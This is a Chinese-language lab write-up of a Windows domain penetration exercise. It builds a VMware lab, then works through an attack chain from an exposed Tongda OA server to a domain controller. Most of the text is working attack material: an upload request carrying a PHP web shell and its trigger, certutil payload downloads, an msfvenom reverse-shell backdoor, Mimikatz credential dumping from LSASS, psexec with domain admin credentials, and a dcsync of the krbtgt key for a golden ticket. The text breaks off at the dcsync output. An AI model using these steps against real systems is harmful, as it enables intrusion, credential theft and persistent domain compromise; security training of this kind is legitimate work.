域渗透

实验环境配置

众所周知,Windows 渗透和 Linux 渗透的一个重要区别就是域环境。想要学好 Windows 渗透,肯定要学好域渗透;而想要学好域渗透,就要了解域的结构、能搭建一个域环境。

本次实验使用 VMware Workstation 搭建环境,包括 Kali Linux、两台 Windows 7 主机 PC1 和 PC2,以及一台 Windows Server 2012 R2 域控制器 DC。

预期拓扑如下:

预期拓扑

检查原有网卡配置

将已有虚拟机添加到 VMware 后,先查看一下要暴露在外部环境的 PC1 的硬件设置。

PC1 配有两张网卡,初始分别连接 VMnet8 和 VMnet14,如下图所示。由于本机 VMnet8 还有其他作用,后续将第一张网卡改接到提供 NAT 服务的 VMnet1,第二张网卡继续连接 VMnet14。

PC1 修改前的双网卡配置

配置虚拟网络

打开“编辑 → 虚拟网络编辑器”,检查现有网络,和目标网络配置进行比对。

修改前的虚拟网络及更改设置入口

点击“添加网络”,新建 VMnet14,供 PC1 内侧网卡、PC2 和 DC 使用。

添加 VMnet14 时的初始状态

选中 VMnet14,将其设为仅主机模式,子网 IP 改为 192.168.93.0,子网掩码为 255.255.255.0。保留“将主机虚拟适配器连接到此网络”,取消勾选 DHCP。

VMnet14 的最终网络配置

随后配置外侧网络 VMnet1:保持 NAT 模式,将子网 IP 改为 192.168.1.0,掩码设为 255.255.255.0,关闭 DHCP。

同时,外侧主机的默认网关使用 NAT 网关 192.168.1.2。

VMnet1 的最终网络配置

连接各虚拟机网卡

在虚拟机设置中选择“网络适配器”,对虚拟机的网卡进行设置。Kali 的网卡连接 VMnet1,与 PC1 的外侧网卡处于同一网络。

Kali 连接 VMnet1

PC2 的网卡连接 VMnet14,使其能够通过域内网络访问 DC。这个已经设置好了,不需要去动。

PC2 连接 VMnet14

DC 的网卡同样连接 VMnet14。

DC 连接 VMnet14

最后,PC1 则分别连接 VMnet1 和 VMnet14,形成外侧和内侧两个网络接口。

经过后续测试,发现预期的 PC1 与 PC2 的内侧 IP 地址与实际情况刚好相反。

最终网络拓扑如下:

实验环境最终网络拓扑

主机配置与连通性验证

网络配置完成后,启动 DC、PC1 和 PC2。

登录账户如下:

主机 账号:密码
DC Administrator:Whoami2021
PC1 bunny:Bunny2021
PC2 moretz:Moretz2021

DC 的地址与名称解析测试

在 DC 上执行 ipconfig /all。输出显示主机名为 DC,IPv4 地址为 192.168.93.30,主 DNS 后缀为 whoamianony.org。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C:\Users\administrator>ipconfig /all

Windows IP 配置

主机名 . . . . . . . . . . . . . : DC
主 DNS 后缀 . . . . . . . . . . . : whoamianony.org
DNS 后缀搜索列表 . . . . . . . . . : whoamianony.org

以太网适配器 Ethernet0:

描述 . . . . . . . . . . . . . . : Intel(R) 82574L 千兆网络连接
物理地址 . . . . . . . . . . . . : 00-0C-29-9A-A7-1D
DHCP 已启用 . . . . . . . . . . . : 否
本地链接 IPv6 地址 . . . . . . . . : fe80::400a:9375:dd57:32fc%12(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.93.30(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关 . . . . . . . . . . . . : 192.168.93.1
DNS 服务器 . . . . . . . . . . . : ::1
127.0.0.1

随后分别 ping 本机 IPv4 地址、域名和计算机名。域名解析到 192.168.93.30;ping DC 则使用本地链接 IPv6 地址。三项测试均丢包率为 0%,说明 DC 的 IPv4 连通正常,域名及计算机名均可正常解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
C:\Users\administrator>ping 192.168.93.30

正在 Ping 192.168.93.30 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 1ms,平均 = 0ms

C:\Users\administrator>ping Whoamianony.org

正在 Ping Whoamianony.org [192.168.93.30] 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\administrator>ping DC

正在 Ping DC.whoamianony.org [fe80::400a:9375:dd57:32fc%12] 具有 32 字节的数据:
来自 fe80::400a:9375:dd57:32fc%12 的回复: 时间<1ms
来自 fe80::400a:9375:dd57:32fc%12 的回复: 时间<1ms
来自 fe80::400a:9375:dd57:32fc%12 的回复: 时间<1ms
来自 fe80::400a:9375:dd57:32fc%12 的回复: 时间<1ms

fe80::400a:9375:dd57:32fc%12 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

PC2 的配置与域内通信测试

在 PC2 上查看网络配置,确认其地址为 192.168.93.40/24,DNS 服务器为 DC 的地址 192.168.93.30,主 DNS 后缀为 whoamianony.org。因为 PC2 与 DC 接入同一个 VMnet14,在同一个内网,可直接进行同网段通信。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\Users\moretz.WHOAMIANONY>ipconfig /all

Windows IP 配置

主机名 . . . . . . . . . . . . . : PC2
主 DNS 后缀 . . . . . . . . . . . : whoamianony.org
DNS 后缀搜索列表 . . . . . . . . . : whoamianony.org

以太网适配器 本地连接:

描述 . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
物理地址 . . . . . . . . . . . . : 00-0C-29-12-D9-F8
DHCP 已启用 . . . . . . . . . . . : 否
本地链接 IPv6 地址 . . . . . . . . : fe80::bd72:57fb:98c6:1e93%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.93.40(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关 . . . . . . . . . . . . : 192.168.93.1
DNS 服务器 . . . . . . . . . . . : 192.168.93.30

在 PC2 上分别 ping DC 的 IP、计算机名 DC 和域名 whoamianony.org。后两项均解析到 192.168.93.30,三项测试的丢包率均为 0%,表明 PC2 能够访问 DC,且所测试的名称可以正常解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
C:\Users\moretz.WHOAMIANONY>ping 192.168.93.30

正在 Ping 192.168.93.30 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间=1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 1ms,平均 = 0ms

C:\Users\moretz.WHOAMIANONY>ping DC

正在 Ping DC.whoamianony.org [192.168.93.30] 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\moretz.WHOAMIANONY>ping whoamianony.org

正在 Ping whoamianony.org [192.168.93.30] 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

PC1 的双网卡配置与连通性测试

由于 PC1 有两张网卡,所以可以通过 ncpa.cpl 命令查看网络连接。

PC1 的“本地连接 4”作为内侧接口,地址为 192.168.93.20/24,不设置默认网关;“本地连接”作为外侧接口,地址为 192.168.1.11/24,默认网关为 192.168.1.2。两张网卡的 DNS 均指向 192.168.93.30,用于解析域内名称。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\Users\bunny>ipconfig /all

Windows IP 配置

主机名 . . . . . . . . . . . . . : PC1
主 DNS 后缀 . . . . . . . . . . . : whoamianony.org
DNS 后缀搜索列表 . . . . . . . . . : whoamianony.org

以太网适配器 本地连接 4:

描述 . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
物理地址 . . . . . . . . . . . . : 00-0C-29-4A-92-27
DHCP 已启用 . . . . . . . . . . . : 否
本地链接 IPv6 地址 . . . . . . . . : fe80::34c2:30f4:9332:85e5%23(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.93.20(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关 . . . . . . . . . . . . :
DNS 服务器 . . . . . . . . . . . : 192.168.93.30

以太网适配器 本地连接:

描述 . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
物理地址 . . . . . . . . . . . . : 00-0C-29-4A-92-1D
DHCP 已启用 . . . . . . . . . . . : 否
本地链接 IPv6 地址 . . . . . . . . : fe80::b495:fac0:217c:a939%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.1.11(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关 . . . . . . . . . . . . : 192.168.1.2
DNS 服务器 . . . . . . . . . . . : 192.168.93.30

在 PC1 上依次测试 DC 地址、计算机名、域名、本机外侧地址以及 Kali 地址。各项测试均丢包率为 0%。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
C:\Users\bunny>ping 192.168.93.30

正在 Ping 192.168.93.30 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间=1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 1ms,平均 = 0ms

C:\Users\bunny>ping DC

正在 Ping dc.whoamianony.org [192.168.93.30] 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\bunny>ping whoamianony.org

正在 Ping whoamianony.org [192.168.93.30] 具有 32 字节的数据:
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.93.30 的回复: 字节=32 时间<1ms TTL=128

192.168.93.30 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\bunny>ping 192.168.1.11

正在 Ping 192.168.1.11 具有 32 字节的数据:
来自 192.168.1.11 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.1.11 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.1.11 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.1.11 的回复: 字节=32 时间<1ms TTL=128

192.168.1.11 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\bunny>ping 192.168.1.10

正在 Ping 192.168.1.10 具有 32 字节的数据:
来自 192.168.1.10 的回复: 字节=32 时间=1ms TTL=64
来自 192.168.1.10 的回复: 字节=32 时间=1ms TTL=64
来自 192.168.1.10 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.1.10 的回复: 字节=32 时间=1ms TTL=64

192.168.1.10 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 1ms,平均 = 0ms

Kali 的地址、路由与通信验证

初次测试时,PC1 能够 ping 通 Kali,但 Kali ping PC1 却没有收到回复。由于 Kali 的邻居表已能解析出 PC1 的 MAC 地址,因此进一步检查 PC1 的入站过滤。

在 PC1 上以管理员身份打开命令提示符,执行以下命令,临时关闭所有网络配置文件下的 Windows 防火墙:

1
netsh advfirewall set allprofiles state off

在 Kali 上查看 eth0 的 IPv4 地址和路由表,确认地址为 192.168.1.10/24,默认路由经 192.168.1.2。随后再次 ping PC1 的外侧地址 192.168.1.11,丢包率为 0%,可以确认两台主机在外侧网络中能够双向进行 ICMP 通信。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ ip -4 addr show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
inet 192.168.1.10/24 scope global eth0
valid_lft forever preferred_lft forever

┌──(kali㉿kali)-[~]
└─$ ip route
default via 192.168.1.2 dev eth0
192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.10

┌──(kali㉿kali)-[~]
└─$ ping -c 4 192.168.1.11
PING 192.168.1.11 (192.168.1.11) 56(84) bytes of data.
64 bytes from 192.168.1.11: icmp_seq=1 ttl=128 time=1.95 ms
64 bytes from 192.168.1.11: icmp_seq=2 ttl=128 time=0.712 ms
64 bytes from 192.168.1.11: icmp_seq=3 ttl=128 time=1.58 ms
64 bytes from 192.168.1.11: icmp_seq=4 ttl=128 time=1.12 ms

--- 192.168.1.11 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3024ms
rtt min/avg/max/mdev = 0.712/1.341/1.949/0.466 ms

外部入口

虽然本次实验的核心是域渗透,但依然构建模拟了外侧网络与域内网络。Kali 位于外侧网络,PC1 同时连接外侧与内侧网络,用于模拟外部入口主机。

本实验选择通达 OA 作为外部入口。

在 PC1 中进入 C:\MYOA\bin,打开 AutoConfig 程序,进入“通达服务智能配置”窗口。确认 Web 服务名称和端口与图示配置一致后,点击“确定”完成配置。

通达 OA 的 HTTP 服务配置

可以先在 PC1 中访问 http://127.0.0.1:8080/,再从 Kali 访问 http://192.168.1.11:8080/,分别验证本机访问与外侧网络访问。

通过 Kali 访问 PC1 上的通达 OA 系统:

alt text

实验环境中部署的通达 OA 版本为 11.3。本实验验证了该环境中可利用的文件上传与文件包含漏洞链。

使用 Burp Suite 进行发包,通过文件上传接口上传图片马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.1.11:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Connection: close
Content-Length: 599

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="MSG_CATE"

file
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$exec = (new COM('WScript.shell'))->exec("cmd /c " . $_POST['cmd']);
echo $exec->StdOut()->ReadAll();
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

根据响应中的目录标识和文件名信息,可以定位上传文件的相对存储位置。

alt text

同时,既然我们开着 PC1,不妨直接查看一下,可以看到确实上传了一个图片马。

alt text

通过文件包含漏洞触发shell:

1
2
3
4
5
6
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.1.11:8080
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2610/1781127485.jpg"}&cmd=whoami

响应中显示 whoami 的执行结果。

alt text

这里有一个细节:whoami 的结果是 nt authority\system。

如果我们在 PC1 的 cmd 里面输入 whoami,结果是:

alt text

这是因为本实验中通达 OA 的 Web 服务被配置为以 SYSTEM 身份运行(配置时需要输入 Administrator 的账号密码),其进程身份就是 SYSTEM。通过漏洞执行的命令会继承该 SYSTEM 令牌。

至此,已在 PC1 上实现远程命令执行(RCE),并可以利用其双网卡进入内网。

(选做任务要求使用 Kali 生成 Windows payload,上传到 Windows 7 主机并获取 Meterpreter 会话,相关过程放在后文。)

内网信息获取

既然可以对内网某台主机进行命令执行,首先需要查看 IP 信息。执行 ipconfig /all,可以看到查询结果与上文 PC1 中的 ipconfig /all 执行结果一致。

alt text

由于通过 Burp Suite 进行 RCE 不太方便(网络延迟等因素),通常还是更习惯于通过 shell 来操作。

所以在 Kali 上启动一个监听 8001 端口的本地 HTTP 服务,使用 Windows 原生命令 certutil 下载 Stowaway 的 agent.exe 到 PC1:

1
python3 -m http.server 8001 --bind 192.168.1.10

然后通过 RCE 执行:

1
certutil -urlcache -split -f http://192.168.1.10:8001/windows_x64_agent.exe agent.exe

alt text

然后,启动 agent 代理:

1
.\agent.exe -l 4444 -cs gbk

使用 Stowaway 的 windows_x64_admin.exe 管理端可以获得稳定 shell,同时也可以更方便地上传和下载文件。

1
.\windows_x64_admin.exe -c 192.168.1.11:4444

alt text

成功获得 shell:

alt text

用 whoami /all 查看当前用户、所属组、用户权限和安全标识符(SID),可确认命令执行所处的账户上下文及其权限范围。

alt text

用 systeminfo 查看操作系统版本、系统架构、主机名、已安装补丁和启动时间等基本信息。

alt text

用 route print 查看本机路由表,确认访问 192.168.1.0/24 和 192.168.93.0/24 时所使用的本地接口及默认路由。

alt text

用 net start 列出当前已启动的 Windows 服务,可以用这个了解主机上正在运行的服务组件。本次实验没有继续进行服务提权,因为当前权限已经是 SYSTEM。

alt text

用 net user 查看本地用户。

alt text

用 net localgroup administrators 查看本地 Administrators 组成员。

alt text

用 net user /domain 通过域控制器查询域用户列表。虽然命令被拒绝访问,但输出中仍能看到域名。

alt text

用 echo %USERDOMAIN% 可以查看用户所在域。

alt text

除此之外还可以通过以下命令收集域相关的信息

1
2
3
4
5
6
7
8
9
net user <用户名> /domain

net group /domain

net group <组名> /domain

net group "domain admins" /domain

net group "domain computers" /domain

收集到足够的信息就可以进行下一步域渗透了。

获取登录凭据

使用 Kali 自带的 Metasploit Framework(msf)。

1
2
3
┌──(kali㉿kali)-[~]
└─$ msfconsole --version
Framework Version: 6.4.45-dev

使用 msfvenom 生成一个 Windows 可执行的 Meterpreter payload。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4445 -f exe -o ./Desktop/backdoor.exe

注意:如果使用 windows/meterpreter/reverse_tcp,生成的是 x86 Meterpreter payload。它可能在 x64 Windows 上运行,但会建立 x86 会话;加载 Kiwi 时可能出现架构不匹配或无法读取 x64 LSASS 的问题。因此本实验使用 windows/x64/meterpreter/reverse_tcp。

alt text

另开一个终端,启动 Metasploit 控制台并配置监听器。

1
msfconsole -q

在 msf 提示符下依次执行:

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4445
run

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 4445
LPORT => 4445
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.10:4445

Started reverse TCP handler on 则表示监听就绪。

最后我们要通过 shell 把这个后门文件传上去。

这个步骤之前上传 Stowaway 的时候已经演示过了:

1
2
cd ./Desktop
python3 -m http.server 8001
1
certutil -urlcache -split -f http://192.168.1.10:8001/backdoor.exe backdoor.exe

alt text

1
.\backdoor.exe

Windows 7 上的 backdoor.exe 一运行,就会主动向 Kali 的 4445 端口发起 TCP 连接。

会看到以下输出:

1
2
3
4
5
[*] Started reverse TCP handler on 192.168.1.10:4445
[*] Sending stage (177734 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:4445 -> 192.168.1.11:2073) at 2026-10-18 23:53:40 +0800

meterpreter >

看到 meterpreter > 提示符,就说明会话建立成功。

通过 sysinfo 确认与 PC1 的连接。

alt text

通过 getuid 确认自己的身份和权限。

alt text

注意:privilege::debug 和 sekurlsa::logonPasswords 需要足够的权限。如果当前 Meterpreter 身份不是 SYSTEM,相关命令可能会报错;load kiwi 本身只是加载扩展,不等同于获取权限。

alt text

1
2
3
4
5
meterpreter > kiwi_cmd privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

meterpreter > kiwi_cmd sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

接下来运行:

1
2
3
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

alt text

获取权限,读取密码。

alt text

alt text

既然学习了这个方法,我们也要明白为什么可以通过这个方法读取密码。

我们输入命令 ps 可以列出目标主机上当前正在运行的所有进程,可以看到 lsass.exe。

alt text

lsass.exe 是 Windows 安全子系统的核心进程,负责用户登录身份验证、访问令牌生成和安全策略执行。如果该进程不存在或崩溃,系统会出现严重问题。

只要 Windows 系统正常运行,lsass.exe 通常会在后台运行,并在内存中保留不同类型的凭据材料,例如 NTLM 哈希、Kerberos 密钥,以及在特定配置下的 WDigest 明文凭据。Kiwi/Mimikatz 可以读取其中实际存在的凭据材料;哈希和密钥不能被该工具普遍还原为明文密码。

从 Windows 8.1 和 Windows Server 2012 R2 开始,微软默认关闭 WDigest 明文凭据缓存。在较新的 Windows 版本中,如果启用了 LSA 保护,lsass.exe 还可能作为受保护进程运行;即使拥有 SYSTEM 权限,也可能无法打开它或读取其内存。

fscan 漏洞扫描

在开始前需要注意 Go 版本与 Windows 7 的兼容性。Go 1.20 是最后一个可以运行在 Windows 7、Windows Server 2008/2012 等系统上的版本;Go 1.21 起最低要求 Windows 10 或 Windows Server 2016。

如果新版 fscan 使用 Go 1.21 或更高版本构建,就可能无法在 Windows 7 上运行。

因此本实验选用能够在 Windows 7 上运行的 fscan 1.7.1。

依然是本地起一个服务供 PC1 下载。

1
python3 -m http.server 8001 --bind 192.168.1.10

然后通过 shell 执行:

1
certutil -urlcache -split -f http://192.168.1.10:8001/fscan64.exe fscan64.exe

将 fscan 上传上去后启动,对 192.168.93.0/24 这个子网进行扫描。

1
.\fscan64.exe -h 192.168.93.0/24

alt text

扫描结果将这三台主机都标记为可能存在 MS17-010(永恒之蓝漏洞)。

尝试利用这个漏洞去拿下域控:

在先前获取的 Meterpreter 会话中输入 background,即可回到 Metasploit 控制台。

alt text

通过 sessions -l 确认先前的 session 1 仍然存活。

alt text

PC1 同时连接外部网段和域内网段,因此将 PC1 的 Meterpreter 会话作为跳板,为 Kali 添加到域控网段的路由。通过 route add 192.168.93.0 255.255.255.0 1 添加通往域控网段的路由,并通过 route print 确认。

alt text

然后依次执行:

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.93.30
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4446
run

利用失败,报错为:Could not make SMBv1 connection.

alt text

虽然扫描结果提示目标可能存在 MS17-010,但这并不能保证漏洞一定能够成功利用,特别的域用户,会比普通用户更难利用。

同时,使用了项目:https://github.com/SecuraBV/CVE-2020-1472 对域进行扫描。

扫描结果将 DC 标记为可能存在 CVE-2020-1472(Zerologon)。由于利用这个漏洞会对 DC 造成损害,没有尝试使用。

alt text

拿下域控

由于上文已经获得域管理员凭据,因此可以先通过 SMB 远程服务执行测试。

为了测试连接,使用 SMB 版本扫描验证路由和端口是否正常:

1
2
3
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.93.30
run

扫描结果显示 DC 的 445 端口可访问,认证域为 WHOAMIANONY,系统为 Windows Server 2012 R2 Datacenter。这说明 Kali 已经能够通过 PC1 访问 DC 的 SMB 服务。

通过域管理员账号,首先尝试使用 PsExec 配合 reverse_tcp 获取 Meterpreter。

该方式要求 DC 主动连接 Kali 的 192.168.1.10,但当前路由只实现了 Kali 到域内网段的访问,DC 没有到 Kali 外部网段的返回路径,没有创建会话。

alt text

随后改用 bind_tcp:

alt text

这次认证、服务创建、服务启动以及阶段发送都成功了,但 Meterpreter 会话在阶段加载后立即退出;使用普通 Shell Payload 也出现了类似结果。由此可知,SMB、路由和账号权限均正常,而失败发生在交互式 Payload 启动后的保持阶段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf6 exploit(windows/smb/psexec) > run
[*] 192.168.93.30:445 - Connecting to the server...
[*] 192.168.93.30:445 - Authenticating to 192.168.93.30:445|WHOAMIANONY as user 'Administrator'...
[!] 192.168.93.30:445 - No active DB -- Credential data will not be saved!
[!] 192.168.93.30:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.93.30:445 - Uploading payload... jRCFqoVH.exe
[*] 192.168.93.30:445 - Created \jRCFqoVH.exe...
[*] 192.168.93.30:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.93.30[\svcctl] ...
[*] 192.168.93.30:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.93.30[\svcctl] ...
[*] 192.168.93.30:445 - Obtaining a service manager handle...
[*] 192.168.93.30:445 - Creating the service...
[+] 192.168.93.30:445 - Successfully created the service
[*] 192.168.93.30:445 - Starting the service...
[+] 192.168.93.30:445 - Service started successfully...
[*] 192.168.93.30:445 - Removing the service...
[+] 192.168.93.30:445 - Successfully removed the service
[*] 192.168.93.30:445 - Closing service handle...
[*] 192.168.93.30:445 - Deleting \jRCFqoVH.exe...
[*] Started bind TCP handler against 192.168.93.30:4451
[*] Sending stage (203846 bytes) to 192.168.93.30
[-] Meterpreter session 6 is not valid and will be closed
[*] 192.168.93.30 - Meterpreter session 6 closed. Reason: Died

又经过数次尝试,最后放弃建立 Meterpreter 会话,而是选择了 PsExec 的 Command 目标。该目标会在 DC 上执行一次命令,将输出写入临时文件,再读取并清理文件。

配置如下:

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.30
set SMBDomain WHOAMIANONY
set SMBUser Administrator
set SMBPass Whoami2021
set TARGET 4
set PAYLOAD cmd/windows/generic
set CMD whoami
run

执行结果为:

1
2
3
4
Command completed successfully!
Output for "whoami":

nt authority\system

alt text

实现了在域控上的远程命令执行,并且命令以 NT AUTHORITY\SYSTEM 身份运行。

可以执行单次命令后,剩下就很好解决了,同上文获取 PC1 的稳定 shell 办法:

alt text

alt text

至此,已经获得域控制器的 SYSTEM 权限。

alt text

通过 systeminfo 可以确认当前主机是 Windows Server 2012 R2 的主域控制器;再结合 whoami 输出的 NT AUTHORITY\SYSTEM,可以确认当前命令执行权限:

alt text

查看 IP,与先前设置一致。

alt text

同时,DomainRole 的值为 5。

alt text

再简单对域内进行探索:

alt text

alt text

权限维持

在取得域控制器的 SYSTEM 权限后,可以进一步获取 krbtgt 密钥,并通过伪造 Kerberos TGT 验证黄金票据带来的权限维持效果。

1
2
3
4
C:\Windows\system32>wmic useraccount where "domain='WHOAMIANONY' and name='Administrator'" get sid
wmic useraccount where "domain='WHOAMIANONY' and name='Administrator'" get sid
SID
S-1-5-21-1315137663-3706837544-1429009142-500

其中最后的 -500 是域内置 Administrator 用户的 RID,因此域 SID 是:

1
S-1-5-21-1315137663-3706837544-1429009142

把 x64 Mimikatz 文件传到 DC,并且启动:

alt text

输入:

1
2
3
privilege::debug
token::whoami
lsadump::dcsync /domain:whoamianony.org /user:krbtgt

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
